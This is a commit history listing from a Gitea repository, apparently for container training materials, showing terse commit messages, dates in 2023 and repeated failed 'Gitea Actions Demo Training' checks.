Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 15:52:32 +01:00
897ae20fa9 twat
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 15:49:54 +01:00
526a14d919 Fixed
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 15:48:26 +01:00
c91aad0696 Two colums
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 15:46:23 +01:00
4e72b1e778 Add info
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 15:44:20 +01:00
600897d0c6 more
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 14:25:19 +01:00
a2c047980a test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 13:52:11 +01:00
d257d4b1b7 Test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 13:51:03 +01:00
966bee7b24 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 13:43:25 +01:00
fbc1bccf9e test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 13:42:35 +01:00
8310e764a9 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 13:40:37 +01:00
947eec8e9d Add sbom
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 13:39:25 +01:00
2336f94797 Add slide
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 13:32:41 +01:00
712d6ebc4a Typo
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 13:28:03 +01:00
8626c2b67a Improve
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 13:26:50 +01:00
3a39c45610 Add more
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 13:24:28 +01:00
cedba39f83 Change image
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 13:12:11 +01:00
c009471a07 New page
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 1s
2023-11-07 13:11:25 +01:00
e95a03dcf9 Add customs
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 13:10:52 +01:00
a87c5349a6 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 13:02:38 +01:00
df8cb0b378 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 13:02:08 +01:00
f191f06880 Background info
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 12:59:22 +01:00
1d0eb0bada test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 12:55:49 +01:00
acb3d28117 twat
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 12:55:01 +01:00
c0502993a6 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 12:52:07 +01:00
a2433c02fa test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 12:50:51 +01:00
0f2b291be4 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 12:47:38 +01:00
e376f0f41d test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 12:46:40 +01:00
cdb2c958b4 Restore 2023-11-07 12:46:35 +01:00
aae3f38272 Cleanup
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 12:19:31 +01:00
fd2d46b1b7 typo
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 12:17:25 +01:00
365bdc7473 Reorder
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 12:16:14 +01:00
a290f304ee Remove footnote 2023-11-07 12:16:04 +01:00
3e7f11d966 add
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 12:13:15 +01:00
8a6b4b7709 remove empty page
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 12:06:40 +01:00
1d62a3fe5b Reorder
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 12:03:50 +01:00
144a337812 Add intro
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 12:02:31 +01:00
7a6be41666 Add images 2023-11-07 12:00:15 +01:00
13807dddb2 cleanup 2023-11-07 12:00:00 +01:00
76fad083f6 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 11:43:55 +01:00
e830cc0f68 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 11:17:02 +01:00
5523d24334 Change tag line
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 11:15:40 +01:00
e6f5367064 Get order right 2023-11-07 11:15:33 +01:00
32d6b5a3e9 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 11:13:13 +01:00
da8170ad30 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 11:11:17 +01:00
a5b2214d23 Test positioning
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 11:08:43 +01:00
6f731db4f7 Opening image
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 11:00:03 +01:00
89a2731ca1 Add new talk
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 10:58:37 +01:00
e96879fd2e Renamed 2023-11-07 10:58:28 +01:00
3ff38a3951 Link image
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 10:55:37 +01:00
a2a043f051 Add image 2023-11-07 10:55:30 +01:00
1d9e742dc8 Make starting easier
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 10:30:41 +01:00
ebff6510a1 Remove slides
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 10:28:16 +01:00
844b55f1d8 Merge branch 'main' of https://git.verleun.org/training/containers
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 0s
2023-11-07 10:26:17 +01:00
3b0a732ec2 Start SBOM 2023-11-07 10:26:05 +01:00
ab86913345 update
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-08-15 07:28:43 +02:00
29743ec85a update 2023-08-15 07:28:07 +02:00
cb9c397d18 Fix
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2023-06-29 09:12:20 +02:00
cc3d5226c2 Link
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-28 15:48:23 +02:00
7ce46cc444 Add seperator
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-28 15:46:29 +02:00
e0177df77f More info
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-28 15:45:56 +02:00
89be40f7b6 Insert seperator
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-28 15:43:03 +02:00
a520076594 Test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-28 15:42:39 +02:00
667e87751e table test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-28 15:41:34 +02:00
99ee90ac84 Add pod example
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2023-06-28 15:27:10 +02:00
cebf84eed5 Linting
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-28 15:25:47 +02:00
299d54745c Test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-28 15:24:42 +02:00
4c227102da test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-28 15:24:15 +02:00
02f22dadca Typo
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-28 15:23:38 +02:00
349dda57a5 Typo's
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-28 15:21:40 +02:00
a91586dd10 Example
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-28 15:20:51 +02:00
ba43cb87b1 chapters
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-28 15:11:52 +02:00
8d0be6478a Fix
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2023-06-28 15:11:00 +02:00
5005ee4df0 Minor changes
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-28 15:09:38 +02:00
0ba68d7c96 Add chapter
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-28 15:07:43 +02:00
9ce66c5caf Add examples
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-28 15:07:02 +02:00
5b745a99c0 Add storage
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2023-06-28 14:59:10 +02:00
6c8a8f124e Fix
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-28 14:56:00 +02:00
7d97b5e2f8 Add example
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-28 14:55:09 +02:00
9a3716f16c Add example
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-28 14:52:28 +02:00
9d59b33035 Fix
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-28 14:50:39 +02:00
553419614a Fix
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2023-06-28 14:49:46 +02:00
5daa67640b Fix
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2023-06-28 14:49:12 +02:00
f5827f0dbe Example
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2023-06-28 14:47:59 +02:00
8afbe3cac3 Less text
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-28 14:34:18 +02:00
d90785a98f More text
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-28 14:33:41 +02:00
dd701d6c63 More text
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-28 14:31:34 +02:00
78b404a7b7 More text
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-28 12:59:23 +02:00
a6b65458aa More text
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-28 12:56:23 +02:00
3cb821745c New chapter
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-28 12:53:02 +02:00
6b2602c8d6 More content
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2023-06-28 12:44:15 +02:00
96d5970968 Size cluster 2023-06-28 12:44:07 +02:00
c7b9305c4b Reordered
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-16 15:21:11 +02:00
a1a732f413 Fix URL
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-16 14:51:21 +02:00
2169c273de Reorder
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-16 14:33:40 +02:00
f8666d77d5 Cleanup
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-16 14:33:01 +02:00
5745c7212a Cleanuo
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-16 14:31:59 +02:00
5c2d828217 b2b
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-16 14:28:29 +02:00
5e5563a2aa cleanup
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-16 14:27:33 +02:00
4fc65b8722 cleanup
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-16 14:26:34 +02:00
d6e8d259da cleanup
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 16s
2023-06-16 14:24:12 +02:00
f63c8ff6f9 Not needed
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 14s
2023-06-13 06:09:57 +02:00
6e4b5fe260 exclude
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-09 14:51:10 +02:00
15e532d858 test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-09 14:43:45 +02:00
c0a5b0acd1 Extend command
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-09 14:42:37 +02:00
b191ce08f7 Less verbose
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-09 14:41:50 +02:00
acaa0460c1 Reorder
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-09 14:39:34 +02:00
4aefa10349 Reorder
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-09 14:38:38 +02:00
331a1c79c7 Exclude
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-09 14:16:27 +02:00
bd28616ef5 Explain app
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-09 14:14:57 +02:00
b2a4719ed3 More content
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-09 14:06:12 +02:00
4cbbcd2ea5 Insert break
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-09 13:56:26 +02:00
6790ceb071 Insert chapter
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-09 13:54:14 +02:00
f1f6360f7e more content
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-09 13:52:34 +02:00
7630e7df37 Change content
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-09 13:49:42 +02:00
3ccc957c12 Version lock 2023-06-09 13:49:31 +02:00
17dcbec032 Typo
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-09 08:34:07 +02:00
42361d671f More info
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2023-06-09 08:33:11 +02:00
a9551f5e59 Switch to custom slide
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2023-06-09 08:25:45 +02:00
8efa12adbc Fix
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2023-06-09 07:59:11 +02:00
c272b62c11 Index
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-09 07:56:55 +02:00
d83685d303 Update
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2023-06-09 07:55:41 +02:00
504ad4f563 Fix
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-09 07:54:14 +02:00
3fb53d4a38 Fix
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-09 07:52:05 +02:00
2608866730 Change
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-09 07:50:12 +02:00
65dbbb99a9 Update
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-09 07:49:02 +02:00
8a1b37360c Enable trainings
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2023-06-09 07:46:29 +02:00
627eed1b69 Cleanup 2023-06-09 07:46:19 +02:00
158d6b950e Satisfy lint
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-08 07:32:35 +02:00
72e0fa1138 Satisfy lint
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-08 07:32:02 +02:00
61413c346e Satisfy shellcheck
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-08 07:29:49 +02:00
ed20271481 Change
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2023-06-08 07:13:44 +02:00
e5a5c80471 Add info
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-07 08:03:51 +02:00
9e640f80ef Extend info
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-07 08:02:33 +02:00
7954c31949 Cleanup
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-07 07:53:58 +02:00
7c2b271de7 Disable debugging
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-07 07:52:50 +02:00
5b668964f8 Debug
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-07 07:51:35 +02:00
007d22ea98 Disable logging
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 9s
2023-06-07 07:47:31 +02:00
73a8859918 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-07 07:40:52 +02:00
1f0bc36314 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-07 07:40:48 +02:00
dbab7ac07d New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 9s
2023-06-07 07:39:28 +02:00
33d560956e New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-07 07:39:24 +02:00
a44ebf38df test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-07 07:36:29 +02:00
bd910b3877 git test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-07 07:35:29 +02:00
d3b04bc0a3 Renamed
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-07 07:34:58 +02:00
040b528b0d Add function
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-07 07:34:15 +02:00
7e649a716b Debug
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-07 07:30:39 +02:00
261e5846de Small change
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-07 07:28:06 +02:00
5d0c7a3304 Add chapter
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2023-06-07 07:12:21 +02:00
7343cdb781 Webhook test
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 13s
2023-06-07 07:09:41 +02:00
69f9f87ecf New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 15:27:42 +02:00
64ec2285a8 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 15:26:05 +02:00
45f5e3e91b New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 15:23:09 +02:00
6a350e011d New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 15:23:04 +02:00
f9afc038aa New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 15:20:00 +02:00
6755868644 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 15:19:32 +02:00
dadcb5d0b6 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 15:17:14 +02:00
4cbf0f571d More content
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 14:28:57 +02:00
b0235a29e2 Adjusted content 2023-06-06 14:06:43 +02:00
a3048cea8c New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 14:03:10 +02:00
9d9613598b New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-06 14:01:08 +02:00
a70bff7cbb New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 14:01:03 +02:00
0e4a66edf2 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 14:00:54 +02:00
3d29e51fee New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-06 14:00:50 +02:00
beb6a0e52c New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-06 13:59:52 +02:00
dff66dfa66 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 13:59:48 +02:00
8cc26b8969 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 13:54:44 +02:00
0feda94054 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 13:54:40 +02:00
1e1b023615 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 13:35:08 +02:00
ecc158ff34 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 13:35:02 +02:00
65fec64293 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 13:33:43 +02:00
25a1d5a1eb New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 13:33:40 +02:00
03e6aa000a New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 9s
2023-06-06 13:32:07 +02:00
d650e0991b New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-06 13:32:02 +02:00
4b5696e881 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 13:31:32 +02:00
52d3f243b5 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 13:31:12 +02:00
c41698603e New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 9s
2023-06-06 13:30:00 +02:00
8145658d4c New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 13:29:56 +02:00
c4b783497f New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-06 13:28:39 +02:00
37f10b29ad New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 9s
2023-06-06 13:28:34 +02:00
3bec906efd Improved
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 9s
2023-06-06 13:28:24 +02:00
d0aac2e443 Improved
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 15s
2023-06-06 13:28:09 +02:00
fe2a98d688 More pages 2023-06-06 13:27:58 +02:00
4b0e27aa05 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 13:27:03 +02:00
586d766c9e New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 13:19:42 +02:00
d1d8b0d091 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 13:19:38 +02:00
e102b36eac New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 13:18:53 +02:00
643fe88676 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 13:18:46 +02:00
30fdc22b63 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 12:13:02 +02:00
41257801d6 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 12:12:57 +02:00
79de308227 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 12s
2023-06-06 12:12:05 +02:00
e7b3c07cb9 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 9s
2023-06-06 12:10:37 +02:00
fd049bcfa1 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 12:10:33 +02:00
e47e342873 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 9s
2023-06-06 12:09:57 +02:00
22ac458e88 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 15s
2023-06-06 12:09:53 +02:00
31608c6f40 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 11:53:23 +02:00
194bc4878b New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 11:53:19 +02:00
06c460f668 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 11:52:38 +02:00
df9b6d0503 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 11:52:34 +02:00
3602084bdd New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 11:47:21 +02:00
b4887d4f7f New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 11:41:45 +02:00
07d4dae44d New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 11:39:31 +02:00
9e893b5fef New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 11:36:27 +02:00
c830a9d8ee New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 11:36:23 +02:00
a2743fbc86 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 11:35:22 +02:00
b993b269fb New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 11:35:18 +02:00
098c08855a New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 11:32:29 +02:00
9324c4f7e0 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 11:32:25 +02:00
2937d8a628 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 11:31:30 +02:00
10dad37585 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 9s
2023-06-06 10:52:42 +02:00
0098fc4803 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 10:52:37 +02:00
afddb3dc62 New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 11s
2023-06-06 10:52:07 +02:00
28c56c9aaa New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 10s
2023-06-06 10:45:01 +02:00
4e6bb0938f New HTML
Some checks failed
Gitea Actions Demo Training / Explore-Gitea-Actions (push) Failing after 16s
2023-06-06 10:40:12 +02:00
4d95f2307c New HTML
